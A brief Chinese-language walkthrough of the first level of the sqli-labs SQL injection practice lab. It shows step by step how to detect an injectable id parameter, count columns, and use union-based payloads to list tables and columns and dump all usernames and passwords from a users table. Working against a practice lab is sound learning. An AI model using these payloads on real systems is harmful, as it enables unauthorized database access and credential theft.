Sqli-labs注入练习
Less1
1 进入第一关
2 提示输入一个ID参数,为数字类型
3 判断存不存在注入
页面没有报错,显示出正确的id=1的内容,继续
报错
基本可以判断存在sql注入漏洞
4 利用order by判断列数,得到有3列
利用union select判断,得到3列
5 联合查询,查询当前使用的数据库名,得到当前库名为security
6 获取表名?id=-1’ union select null,group_concat(table_name),database() from information_schema.tables where table_schema=database()--+
7 获取user表的列名?id=-1’ union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+
得到id,username,password三列(有时users得用其的十六进制表示0x7573657273)
8 获取users表中的所有用户名和密码?id=-1’ union select 1,group_concat(username),group_concat(password) from users--+